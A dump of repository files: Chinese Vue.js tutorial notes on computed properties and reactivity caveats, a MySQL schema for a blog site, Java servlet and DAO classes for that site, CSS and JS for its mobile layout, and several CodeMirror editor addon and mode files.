在 computed 中,可以定义一些 属性,这些属性,叫做 **计算属性**, 计算属性的本质,就是 一个方法,只不过我们在使用 这些计算属性的时候,是把它们的名称,直接当作属性来使用的,并不会把计算属性,当作方法去调用。
并且在计算属性的这个 function 内部,所用到的任何 data 中的数据,如果这些数据发送了变化,就会调用这个计算属性的 function 函数。
```html
<body>
<div id="box">
<input type="text" v-model="firstname"> +
<input type="text" v-model="lastname"> =
<input type="text" v-model="fullname">
</div>
<script>
var vm = new Vue({
el: "#box",
data: {
firstname: '',
lastname: '',
},
methods: {},
computed: {
'fullname': function () {
return this.firstname + '-' + this.lastname;
}
}
});
</script>
</body>
```
> 在我们的 data 里面就把 fullname去掉了。
>
> 然后在 computed 里面,只要firstname 或者 lastname 发生了改变,就会调用 fullname 这个名称的函数,但是 我们在 `<input type="text" v-model="fullname">` 中,fullname 却不需要加括号()。
### 计算属性缓存 vs 方法
*added in 20190610.*
你可能已经注意到我们可以通过在表达式中调用方法来达到同样的效果:
```html
<body>
<div id="box">
<input type="text" v-model="firstname"> +
<input type="text" v-model="lastname"> =
<input type="text" v-model="fullname()">
</div>
<script>
var vm = new Vue({
el: "#box",
data: {
firstname: '',
lastname: '',
},
methods: {
fullname: function () {
return this.firstname + '-' + this.lastname;
}
},
computed: {}
});
</script>
</body>
```
我们可以将同一函数定义为一个方法而不是一个计算属性。两种方式的最终结果确实是完全相同的。然而,不同的是计算属性是基于它们的响应式依赖进行缓存的。只在相关响应式依赖发生改变时它们才会重新求值。这就意味着只要 message 还没有发生改变,多次访问 fullname 计算属性会立即返回之前的计算结果,而不必再次执行函数。
这也同样意味着下面的计算属性将不再更新,因为 Date.now() 不是响应式依赖:
```js
computed: {
now: function () {
return Date.now()
}
}
```
相比之下,每当触发重新渲染时,调用方法将总会再次执行函数。
我们为什么需要缓存?假设我们有一个性能开销比较大的计算属性 A,它需要遍历一个巨大的数组并做大量的计算。然后我们可能有其他的计算属性依赖于 A 。如果没有缓存,我们将不可避免的多次执行 A 的 getter!
> **如果你不希望有缓存,请用方法来替代。**
### 计算属性的getter和setter
*added in 20190610*
```js
computed: {
'fullName': function () {
return this.firstname + '-' + this.lastname;
}
}
```
上面例子的写法默认会解析成下面的形式:
```js
computed:{
fullName:{
get:function() {
return this.firstname + '-' + this.lastname;
}
}
}
```
计算属性默认只有 getter ,不过在需要时你也可以提供一个 setter :
```js
computed: {
fullName: {
// getter
get: function () {
return this.firstName + '-' + this.lastName
},
// setter
set: function (newValue) {
var names = newValue.split(' ')
this.firstName = names[0]
this.lastName = names[names.length - 1]
}
}
}
```
现在再运行 vm.fullName = 'John Doe' 时,setter 会被调用,vm.firstName 和 vm.lastName 也会相应地被更新。
### 3、watch,computed,methods的区别
- `computed`属性的结果会被缓存,除非依赖的响应式属性变化才会重新计算。主要当作属性来使用;
- `methods`方法表示一个具体的操作,主要书写业务逻辑;
- `watch`是一个对象,键是需要观察的表达式,值是对应回调函数。主要用来监听某些特定数据的变化,从而进行某些具体的业务逻辑操作;可以看作是`computed`和`methods`的结合体;
| Daotin/Web/12-Vue/07-watch和computed.md/0 | {
"file_path": "Daotin/Web/12-Vue/07-watch和computed.md",
"repo_id": "Daotin",
"token_count": 4415
} | 20 |
我们知道,写在data中的数据是实时响应的,如果我们修改了data中的数据,响应DOM的数据也会对应的改变。
但是对于data中的对象(数组也是对象)来说,事情没那么简单。
vue判断一个对象需不需要实时响应看的是这个对象本身,也就是这个对象的引用有无发生改变,那就导致了如果我们往这个对象增删改一个元素,vue是看不到的,也就无法实时更新DOM的数据。
那怎么办?事实上,vue考虑到了这一点。
## 数组更新检测
对于数组来说,当你在使用数组的下列方法的时候,vue对这些方法进行了改装,使得你操作这个方法改变数组的时候,可以触发vue动态响应:
> push()
>
> pop()
>
> shift()
>
> unshift()
>
> splice()
>
> sort()
>
> reverse()
我们称这些被改造的方法为变异方法。
变异方法,顾名思义,会改变调用了这些方法的原始数组。相比之下,也有非变异 (non-mutating method) 方法,例如 filter()、concat() 和 slice() 。它们不会改变原始数组,而总是返回一个新数组。
**当使用非变异方法时,可以用新数组替换旧数组**:
```js
example1.items = example1.items.filter(function (item) {
return item.message.match(/Foo/)
})
```
你可能认为这将导致 Vue 丢弃现有 DOM 并重新渲染整个列表。然而事实并非如此。
Vue 为了使得 DOM 元素得到最大范围的重用而实现了一些智能的启发式方法,所以用一个含有相同元素的数组去替换原来的数组是非常高效的操作。所以不要想太多。
但是我们需要注意的是,如果你采用下面两种方式,Vue 不能检测以下数组的变动:
> 1. 当你利用索引直接设置一个数组项时,例如:`vm.items[indexOfItem] = newValue`
> 2. 当你修改数组的长度时,例如:`vm.items.length = newLength`
举个栗子:
```js
var vm = new Vue({
data: {
items: ['a', 'b', 'c']
}
})
vm.items[1] = 'x' // 不是响应性的
vm.items.length = 2 // 不是响应性的
```
这一问题使用下面两种方法可以解决:
第一个问题解决方案:
```js
Vue.set(vm.items, indexOfItem, newValue)
// 或者 vm.$set(vm.items, indexOfItem, newValue)
// 或者 vm.items.splice(indexOfItem, 1, newValue)
```
第二个问题解决方案:
```js
vm.items.splice(newLength)
```
## 对象更新检测
由于原理类似,**Vue 不能检测对象属性的添加或删除**。
对于已经创建的实例,Vue 不允许动态添加根级别的响应式属性。但是,可以使用 `Vue.set(object, propertyName, value) `方法向嵌套对象添加响应式属性。例如,对于:
```js
var vm = new Vue({
data: {
userProfile: {
name: 'Anika'
}
}
})
```
你可以添加一个新的 age 属性到嵌套的 userProfile 对象:
```js
Vue.set(vm.userProfile, 'age', 27);
// this.$set(vm.userProfile, 'age', 27)
```
有时你可能需要为已有对象赋值多个新属性,比如使用 Object.assign() 或 _.extend()。在这种情况下,如果你使用多次Vue.set方法固然可以,但是比较繁琐。
你可以用两个对象的属性创建一个新的对象。所以,如果你想添加新的响应式属性,不要像这样:
```js
Object.assign(vm.userProfile, {
age: 27,
favoriteColor: 'Vue Green'
})
```
这样是无效的,你应该这样做:
```js
vm.userProfile = Object.assign({}, vm.userProfile, {
age: 27,
favoriteColor: 'Vue Green'
})
```
> 注意:
>
> 不管是 Vue.set 还是 Vue.delete,**目标对象不能是一个 Vue 实例或 Vue 实例的根数据对象**。否则会报以下错误:
>
> `[Vue warn]: Avoid adding reactive properties to a Vue instance or its root $data at runtime - declare it upfront in the data option.`
| Daotin/Web/12-Vue/数组与对象更新检测.md/0 | {
"file_path": "Daotin/Web/12-Vue/数组与对象更新检测.md",
"repo_id": "Daotin",
"token_count": 2364
} | 21 |
/*
Navicat Premium Data Transfer
Source Server : 阿里云MySQL
Source Server Type : MySQL
Source Server Version : 50718
Source Host : rm-wz9lp2i9322g0n06zvo.mysql.rds.aliyuncs.com:3306
Source Schema : web
Target Server Type : MySQL
Target Server Version : 50718
File Encoding : 65001
Date: 07/03/2018 09:59:37
*/
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for image_upload
-- ----------------------------
DROP TABLE IF EXISTS `image_upload`;
CREATE TABLE `image_upload` (
`image_id` int(32) NOT NULL AUTO_INCREMENT,
`image_name` char(50) CHARACTER SET utf8 COLLATE utf8_bin NULL DEFAULT NULL,
`image_url` char(200) CHARACTER SET utf8 COLLATE utf8_bin NULL DEFAULT NULL,
`image_upload_date` timestamp(0) NULL DEFAULT NULL,
`image_type` int(32) NULL DEFAULT NULL,
`image_download_count` int(32) NULL DEFAULT NULL,
PRIMARY KEY (`image_id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8 COLLATE = utf8_bin ROW_FORMAT = Dynamic;
SET FOREIGN_KEY_CHECKS = 1;
| Humsen/web/docs/数据库部署/第1步 - 创建数据库/image_upload.sql/0 | {
"file_path": "Humsen/web/docs/数据库部署/第1步 - 创建数据库/image_upload.sql",
"repo_id": "Humsen",
"token_count": 425
} | 22 |
package pers.husen.web.bean.vo;
import java.util.Date;
/**
* 图片
*
* @author 何明胜
*
* 2017年10月20日
*/
public class ImageUploadVo {
private int imageId;
private String imageName;
private String imageUrl;
private Date imageUploadDate;
private int imageType;
private int imageDownloadCount;
/**
* @return the imageId
*/
public int getImageId() {
return imageId;
}
/**
* @param imageId the imageId to set
*/
public void setImageId(int imageId) {
this.imageId = imageId;
}
/**
* @return the imageName
*/
public String getImageName() {
return imageName;
}
/**
* @param imageName the imageName to set
*/
public void setImageName(String imageName) {
this.imageName = imageName;
}
/**
* @return the imageUrl
*/
public String getImageUrl() {
return imageUrl;
}
/**
* @param imageUrl the imageUrl to set
*/
public void setImageUrl(String imageUrl) {
this.imageUrl = imageUrl;
}
/**
* @return the imageUploadDate
*/
public Date getImageUploadDate() {
return imageUploadDate;
}
/**
* @param imageUploadDate the imageUploadDate to set
*/
public void setImageUploadDate(Date imageUploadDate) {
this.imageUploadDate = imageUploadDate;
}
/**
* @return the imageType
*/
public int getImageType() {
return imageType;
}
/**
* @param imageType the imageType to set
*/
public void setImageType(int imageType) {
this.imageType = imageType;
}
/**
* @return the imageDownloadCount
*/
public int getImageDownloadCount() {
return imageDownloadCount;
}
/**
* @param imageDownloadCount the imageDownloadCount to set
*/
public void setImageDownloadCount(int imageDownloadCount) {
this.imageDownloadCount = imageDownloadCount;
}
}
| Humsen/web/web-core/src/pers/husen/web/bean/vo/ImageUploadVo.java/0 | {
"file_path": "Humsen/web/web-core/src/pers/husen/web/bean/vo/ImageUploadVo.java",
"repo_id": "Humsen",
"token_count": 599
} | 23 |
package pers.husen.web.common.helper;
import java.util.Arrays;
/**
* 判断是否是手机
*
* @author 何明胜
* <p>
* 2017年11月9日
*/
public class JudgeIsMobile {
public static boolean isMobile(String userAgent) {
String[] mobileAgents = {"iphone", "android", "phone", "mobile", "wap", "netfront", "java", "opera mobi",
"opera mini", "ucweb", "windows ce", "symbian", "series", "webos", "sony", "blackberry", "dopod",
"nokia", "samsung", "palmsource", "xda", "pieplus", "meizu", "midp", "cldc", "motorola", "foma",
"docomo", "up.browser", "up.link", "blazer", "helio", "hosin", "huawei", "novarra", "coolpad", "webos",
"techfaith", "palmsource", "alcatel", "amoi", "ktouch", "nexian", "ericsson", "philips", "sagem",
"wellcom", "bunjalloo", "maui", "smartphone", "iemobile", "spice", "bird", "zte-", "longcos", "pantech",
"gionee", "portalmmm", "jig browser", "hiptop", "benq", "haier", "^lct", "320x320", "240x320",
"176x220", "w3c ", "acs-", "alav", "alca", "amoi", "audi", "avan", "benq", "bird", "blac", "blaz",
"brew", "cell", "cldc", "cmd-", "dang", "doco", "eric", "hipt", "inno", "ipaq", "java", "jigs", "kddi",
"keji", "leno", "lg-c", "lg-d", "lg-g", "lge-", "maui", "maxo", "midp", "mits", "mmef", "mobi", "mot-",
"moto", "mwbp", "nec-", "newt", "noki", "oper", "palm", "pana", "pant", "phil", "play", "port", "prox",
"qwap", "sage", "sams", "sany", "sch-", "sec-", "send", "seri", "sgh-", "shar", "sie-", "siem", "smal",
"smar", "sony", "sph-", "symb", "t-mo", "teli", "tim-", "tsm-", "upg1", "upsi", "vk-v", "voda", "wap-",
"wapa", "wapi", "wapp", "wapr", "webc", "winw", "winw", "xda", "xda-", "Googlebot-Mobile"};
return Arrays.stream(mobileAgents).map(String::toLowerCase).anyMatch(userAgent::contains);
}
} | Humsen/web/web-core/src/pers/husen/web/common/helper/JudgeIsMobile.java/0 | {
"file_path": "Humsen/web/web-core/src/pers/husen/web/common/helper/JudgeIsMobile.java",
"repo_id": "Humsen",
"token_count": 1001
} | 24 |
package pers.husen.web.dao;
import java.util.ArrayList;
import pers.husen.web.bean.vo.BlogArticleVo;
/**
* 博客文章接口
*
* @author 何明胜
*
* 2017年9月17日
*/
public interface BlogArticleDao {
/**
* 查询博客文章
*
* @return 博客文章数组
*/
public ArrayList<BlogArticleVo> queryAllBlogArticles();
/**
* 根据条件询博客数量
* @param bVo
* @return
*/
public int queryBlogTotalCount(BlogArticleVo bVo);
/**
* 按照页面大小和页码查询博客
* @param bVo
* @param pageSize
* @param pageNo
* @return
*/
public ArrayList<BlogArticleVo> queryBlogArticlePerPage(BlogArticleVo bVo, int pageSize, int pageNo);
/**
* 根据id查询单独的一篇博客
*
* @param blogId
* @return 一篇博客
*/
public BlogArticleVo queryPerBlogById(int blogId);
/**
* 插入记录
*
* @param bVo
* @return 返回插入结果
*/
public int insertBlogArticle(BlogArticleVo bVo);
/**
* 根据id更新博客阅读次数
* @param blogId
* @return
*/
public int updateBlogReadById(int blogId);
/**
* 根据id修改博客内容
* @param bVo
* @return
*/
public int updateBlogById(BlogArticleVo bVo);
/**
* 根据id逻辑删除博客
* @param blogId
* @return
*/
public int logicDeleteBlogById(int blogId);
/**
* 根据id查找上一篇有效博客
* @param blogId
* @return
*/
public BlogArticleVo queryPreviousBlog(int blogId);
/**
* 根据id查找下一篇有效博客
* @param blogId
* @return
*/
public BlogArticleVo queryNextBlog(int blogId);
} | Humsen/web/web-core/src/pers/husen/web/dao/BlogArticleDao.java/0 | {
"file_path": "Humsen/web/web-core/src/pers/husen/web/dao/BlogArticleDao.java",
"repo_id": "Humsen",
"token_count": 765
} | 25 |
package pers.husen.web.dao.impl;
import java.util.ArrayList;
import java.util.Date;
import pers.husen.web.common.helper.DateFormatHelper;
import pers.husen.web.dao.VisitTotalDao;
import pers.husen.web.dbutil.DbQueryUtils;
import pers.husen.web.dbutil.DbManipulationUtils;
/**
* @author 何明胜
*
* 2017年9月30日
*/
public class VisitTotalDaoImpl implements VisitTotalDao {
@Override
public int queryVisitTotal() {
String sql = "SELECT visit_count as count FROM visit_total WHERE visit_id = ?";
ArrayList<Object> paramList = new ArrayList<Object>();
paramList.add(0);
return DbQueryUtils.queryIntByParam(sql, paramList);
}
@Override
public int queryVisitToday() {
String sql = "SELECT visit_count as count FROM visit_total WHERE visit_date = ?";
ArrayList<Object> paramList = new ArrayList<Object>();
paramList.add(DateFormatHelper.formatDateYMD());
return DbQueryUtils.queryIntByParam(sql, paramList);
}
@Override
public int updateVisitCount() {
String sqlTotal = "UPDATE visit_total SET visit_count = (( SELECT selTmp.visit_count FROM (select tmp.* from visit_total tmp) AS selTmp WHERE visit_id = ? ) + 1) WHERE visit_id = ?";
ArrayList<Object> paramList = new ArrayList<Object>();
paramList.add(0);
paramList.add(0);
DbManipulationUtils.updateRecordByParam(sqlTotal, paramList);
paramList.clear();
Date currentDate = DateFormatHelper.formatDateYMD();
String sqlQueryTest = "SELECT count(*) as count FROM visit_total WHERE visit_date = ?";
paramList.add(currentDate);
int result = DbQueryUtils.queryIntByParam(sqlQueryTest, paramList);
if(result == -1) {
return -1;
}
if(result == 0) {
String insertSql = "INSERT INTO visit_total (visit_date, visit_count) VALUES (?, ?)";
paramList.add(1);
return DbManipulationUtils.insertNewRecord(insertSql, paramList);
}
String sqlToday = "UPDATE visit_total SET visit_count = (( SELECT selTmp.visit_count FROM (select tmp.* from visit_total tmp) AS selTmp WHERE visit_date = ?) + 1) WHERE visit_date = ?";
paramList.add(currentDate);
return DbManipulationUtils.updateRecordByParam(sqlToday, paramList);
}
} | Humsen/web/web-core/src/pers/husen/web/dao/impl/VisitTotalDaoImpl.java/0 | {
"file_path": "Humsen/web/web-core/src/pers/husen/web/dao/impl/VisitTotalDaoImpl.java",
"repo_id": "Humsen",
"token_count": 779
} | 26 |
/**
* 保存数据库的名称及其字段名
*
* @author 何明胜
*
* 2017年10月20日
*/
package pers.husen.web.dbutil.mappingdb; | Humsen/web/web-core/src/pers/husen/web/dbutil/mappingdb/package-info.java/0 | {
"file_path": "Humsen/web/web-core/src/pers/husen/web/dbutil/mappingdb/package-info.java",
"repo_id": "Humsen",
"token_count": 77
} | 27 |
package pers.husen.web.servlet.article;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import net.sf.json.JSONObject;
import pers.husen.web.bean.vo.CodeLibraryVo;
import pers.husen.web.common.constants.RequestConstants;
import pers.husen.web.common.constants.ResponseConstants;
import pers.husen.web.common.helper.ReadH5Helper;
import pers.husen.web.service.CodeLibrarySvc;
/**
* 根据id查询代码
*
* @author 何明胜
*
* 2017年11月7日
*/
@WebServlet(urlPatterns="/code.hms")
public class CodeSvt extends HttpServlet {
private static final long serialVersionUID = 1L;
public CodeSvt() {
super();
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8");
PrintWriter out = response.getWriter();
CodeLibrarySvc cSvc = new CodeLibrarySvc();
int codeId = Integer.parseInt(request.getParameter("codeId"));
CodeLibraryVo cVo = cSvc.queryPerCodeById(codeId);
//判断是否是返回代码json数据
String returnType = request.getParameter("type");
if(RequestConstants.REQUEST_TYPE_JSON.equals(returnType)) {
out.println(JSONObject.fromObject(cVo));
return;
}
/** 默认返回整篇文章 */
response.setContentType("text/html");
String resultHtml = ReadH5Helper.modifyHtmlKeywords(ResponseConstants.CODE_TEMPLATE_PATH, cVo.getCodeLabel());
out.println(resultHtml);
//增加访问次数
cSvc.updateCodeReadById(codeId);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}
} | Humsen/web/web-core/src/pers/husen/web/servlet/article/CodeSvt.java/0 | {
"file_path": "Humsen/web/web-core/src/pers/husen/web/servlet/article/CodeSvt.java",
"repo_id": "Humsen",
"token_count": 745
} | 28 |
package pers.husen.web.servlet.module.usercenter;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import pers.husen.web.common.constants.ResponseConstants;
import pers.husen.web.common.helper.ReadH5Helper;
/**
* @desc 个人中心
*
* @author 何明胜
*
* @created 2017年12月27日 下午3:28:38
*/
@WebServlet(urlPatterns = "/usercenter.hms")
public class PersonalCenterSvt extends HttpServlet {
private static final long serialVersionUID = 1L;
public PersonalCenterSvt() {
super();
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8");
ReadH5Helper.writeHtmlByName(ResponseConstants.USER_CENTER_TEMPLATE_PATH, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}
} | Humsen/web/web-core/src/pers/husen/web/servlet/module/usercenter/PersonalCenterSvt.java/0 | {
"file_path": "Humsen/web/web-core/src/pers/husen/web/servlet/module/usercenter/PersonalCenterSvt.java",
"repo_id": "Humsen",
"token_count": 426
} | 29 |
@charset "UTF-8";
.form-label {
text-align: left !important;
padding-left: 0;
width: 20%;
padding-right: 5px;
}
.modify-email {
text-align: left !important;
font-size: 16px;
}
.form-group-div {
margin-left: 0 !important;
margin-right: 0 !important;
}
.email-show {
font-size: 16px;
}
.form-input-div {
padding-left: 0;
}
.validate-code-input {
padding-right: 0 !important;
} | Humsen/web/web-mobile/WebContent/css/login/email-check.css/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/css/login/email-check.css",
"repo_id": "Humsen",
"token_count": 170
} | 30 |
/**
* 判断访问类型是电脑还是手机
*
* @author 何明胜
*
* 2017年9月27日
*/
$(function() {
var mobile_flag = $.isMobile(); // false为PC端,true为手机端
if (mobile_flag) {
// 调整中间内容布局
$('#fh5co-main').css({
'width' : '100%',
'float' : 'right'
});
// 左侧菜单栏
$('.fh5co-footer.footer-div').css('margin-top', 0);
// 顶部导航栏
$('#accessToday').css({
'margin-left' : '0'
});
// 博客和代码左边距
$('#fh5co-main').css({
'margin-left' : '0'
});
$('#list_code').css({
'margin-left' : '0'
});
// 留言是动态加载的,需等待一会儿
setTimeout(function() {
// 右边导航栏隐藏
$('#rightBar').hide();
//导航栏加上边距
$('#topBar').children('div').addClass('top-bar-div');
if ($('#message_box').length > 0) {
// 留言框
$('#message_box').find('textarea').css('width', '42%');
// 回复留言
$('#message_box').children().children().find('button').css({
'cssText' : 'margin-left: 20% !important'
});
}
}, 300);
}
}); | Humsen/web/web-mobile/WebContent/js/is-pc-or-mobile.js/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/js/is-pc-or-mobile.js",
"repo_id": "Humsen",
"token_count": 608
} | 31 |
.CodeMirror-dialog {
position: absolute;
left: 0; right: 0;
background: white;
z-index: 15;
padding: .1em .8em;
overflow: hidden;
color: #333;
}
.CodeMirror-dialog-top {
border-bottom: 1px solid #eee;
top: 0;
}
.CodeMirror-dialog-bottom {
border-top: 1px solid #eee;
bottom: 0;
}
.CodeMirror-dialog input {
border: none;
outline: none;
background: transparent;
width: 20em;
color: inherit;
font-family: monospace;
}
.CodeMirror-dialog button {
font-size: 70%;
}
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/addon/dialog/dialog.css/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/addon/dialog/dialog.css",
"repo_id": "Humsen",
"token_count": 205
} | 32 |
.CodeMirror-foldmarker {
color: blue;
text-shadow: #b9f 1px 1px 2px, #b9f -1px -1px 2px, #b9f 1px -1px 2px, #b9f -1px 1px 2px;
font-family: arial;
line-height: .3;
cursor: pointer;
}
.CodeMirror-foldgutter {
width: .7em;
}
.CodeMirror-foldgutter-open,
.CodeMirror-foldgutter-folded {
cursor: pointer;
}
.CodeMirror-foldgutter-open:after {
content: "\25BE";
}
.CodeMirror-foldgutter-folded:after {
content: "\25B8";
}
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/addon/fold/foldgutter.css/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/addon/fold/foldgutter.css",
"repo_id": "Humsen",
"token_count": 199
} | 33 |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
// Depends on jsonlint.js from https://github.com/zaach/jsonlint
// declare global: jsonlint
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
CodeMirror.registerHelper("lint", "json", function(text) {
var found = [];
jsonlint.parseError = function(str, hash) {
var loc = hash.loc;
found.push({from: CodeMirror.Pos(loc.first_line - 1, loc.first_column),
to: CodeMirror.Pos(loc.last_line - 1, loc.last_column),
message: str});
};
try { jsonlint.parse(text); }
catch(e) {}
return found;
});
});
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/addon/lint/json-lint.js/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/addon/lint/json-lint.js",
"repo_id": "Humsen",
"token_count": 364
} | 34 |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
CodeMirror.defineOption("scrollPastEnd", false, function(cm, val, old) {
if (old && old != CodeMirror.Init) {
cm.off("change", onChange);
cm.off("refresh", updateBottomMargin);
cm.display.lineSpace.parentNode.style.paddingBottom = "";
cm.state.scrollPastEndPadding = null;
}
if (val) {
cm.on("change", onChange);
cm.on("refresh", updateBottomMargin);
updateBottomMargin(cm);
}
});
function onChange(cm, change) {
if (CodeMirror.changeEnd(change).line == cm.lastLine())
updateBottomMargin(cm);
}
function updateBottomMargin(cm) {
var padding = "";
if (cm.lineCount() > 1) {
var totalH = cm.display.scroller.clientHeight - 30,
lastLineH = cm.getLineHandle(cm.lastLine()).height;
padding = (totalH - lastLineH) + "px";
}
if (cm.state.scrollPastEndPadding != padding) {
cm.state.scrollPastEndPadding = padding;
cm.display.lineSpace.parentNode.style.paddingBottom = padding;
cm.setSize();
}
}
});
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/addon/scroll/scrollpastend.js/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/addon/scroll/scrollpastend.js",
"repo_id": "Humsen",
"token_count": 581
} | 35 |
{
"name": "codemirror",
"version":"5.0.0",
"main": ["lib/codemirror.js", "lib/codemirror.css"],
"ignore": [
"**/.*",
"node_modules",
"components",
"bin",
"demo",
"doc",
"test",
"index.html",
"package.json"
]
}
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/bower.json/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/bower.json",
"repo_id": "Humsen",
"token_count": 133
} | 36 |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
// By the Neo4j Team and contributors.
// https://github.com/neo4j-contrib/CodeMirror
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
var wordRegexp = function(words) {
return new RegExp("^(?:" + words.join("|") + ")$", "i");
};
CodeMirror.defineMode("cypher", function(config) {
var tokenBase = function(stream/*, state*/) {
var ch = stream.next(), curPunc = null;
if (ch === "\"" || ch === "'") {
stream.match(/.+?["']/);
return "string";
}
if (/[{}\(\),\.;\[\]]/.test(ch)) {
curPunc = ch;
return "node";
} else if (ch === "/" && stream.eat("/")) {
stream.skipToEnd();
return "comment";
} else if (operatorChars.test(ch)) {
stream.eatWhile(operatorChars);
return null;
} else {
stream.eatWhile(/[_\w\d]/);
if (stream.eat(":")) {
stream.eatWhile(/[\w\d_\-]/);
return "atom";
}
var word = stream.current();
if (funcs.test(word)) return "builtin";
if (preds.test(word)) return "def";
if (keywords.test(word)) return "keyword";
return "variable";
}
};
var pushContext = function(state, type, col) {
return state.context = {
prev: state.context,
indent: state.indent,
col: col,
type: type
};
};
var popContext = function(state) {
state.indent = state.context.indent;
return state.context = state.context.prev;
};
var indentUnit = config.indentUnit;
var curPunc;
var funcs = wordRegexp(["abs", "acos", "allShortestPaths", "asin", "atan", "atan2", "avg", "ceil", "coalesce", "collect", "cos", "cot", "count", "degrees", "e", "endnode", "exp", "extract", "filter", "floor", "haversin", "head", "id", "keys", "labels", "last", "left", "length", "log", "log10", "lower", "ltrim", "max", "min", "node", "nodes", "percentileCont", "percentileDisc", "pi", "radians", "rand", "range", "reduce", "rel", "relationship", "relationships", "replace", "right", "round", "rtrim", "shortestPath", "sign", "sin", "split", "sqrt", "startnode", "stdev", "stdevp", "str", "substring", "sum", "tail", "tan", "timestamp", "toFloat", "toInt", "trim", "type", "upper"]);
var preds = wordRegexp(["all", "and", "any", "has", "in", "none", "not", "or", "single", "xor"]);
var keywords = wordRegexp(["as", "asc", "ascending", "assert", "by", "case", "commit", "constraint", "create", "csv", "cypher", "delete", "desc", "descending", "distinct", "drop", "else", "end", "explain", "false", "fieldterminator", "foreach", "from", "headers", "in", "index", "is", "limit", "load", "match", "merge", "null", "on", "optional", "order", "periodic", "profile", "remove", "return", "scan", "set", "skip", "start", "then", "true", "union", "unique", "unwind", "using", "when", "where", "with"]);
var operatorChars = /[*+\-<>=&|~%^]/;
return {
startState: function(/*base*/) {
return {
tokenize: tokenBase,
context: null,
indent: 0,
col: 0
};
},
token: function(stream, state) {
if (stream.sol()) {
if (state.context && (state.context.align == null)) {
state.context.align = false;
}
state.indent = stream.indentation();
}
if (stream.eatSpace()) {
return null;
}
var style = state.tokenize(stream, state);
if (style !== "comment" && state.context && (state.context.align == null) && state.context.type !== "pattern") {
state.context.align = true;
}
if (curPunc === "(") {
pushContext(state, ")", stream.column());
} else if (curPunc === "[") {
pushContext(state, "]", stream.column());
} else if (curPunc === "{") {
pushContext(state, "}", stream.column());
} else if (/[\]\}\)]/.test(curPunc)) {
while (state.context && state.context.type === "pattern") {
popContext(state);
}
if (state.context && curPunc === state.context.type) {
popContext(state);
}
} else if (curPunc === "." && state.context && state.context.type === "pattern") {
popContext(state);
} else if (/atom|string|variable/.test(style) && state.context) {
if (/[\}\]]/.test(state.context.type)) {
pushContext(state, "pattern", stream.column());
} else if (state.context.type === "pattern" && !state.context.align) {
state.context.align = true;
state.context.col = stream.column();
}
}
return style;
},
indent: function(state, textAfter) {
var firstChar = textAfter && textAfter.charAt(0);
var context = state.context;
if (/[\]\}]/.test(firstChar)) {
while (context && context.type === "pattern") {
context = context.prev;
}
}
var closing = context && firstChar === context.type;
if (!context) return 0;
if (context.type === "keywords") return CodeMirror.commands.newlineAndIndent;
if (context.align) return context.col + (closing ? 0 : 1);
return context.indent + (closing ? 0 : indentUnit);
}
};
});
CodeMirror.modeExtensions["cypher"] = {
autoFormatLineBreaks: function(text) {
var i, lines, reProcessedPortion;
var lines = text.split("\n");
var reProcessedPortion = /\s+\b(return|where|order by|match|with|skip|limit|create|delete|set)\b\s/g;
for (var i = 0; i < lines.length; i++)
lines[i] = lines[i].replace(reProcessedPortion, " \n$1 ").trim();
return lines.join("\n");
}
};
CodeMirror.defineMIME("application/x-cypher-query", "cypher");
});
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/cypher/cypher.js/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/mode/cypher/cypher.js",
"repo_id": "Humsen",
"token_count": 2700
} | 37 |
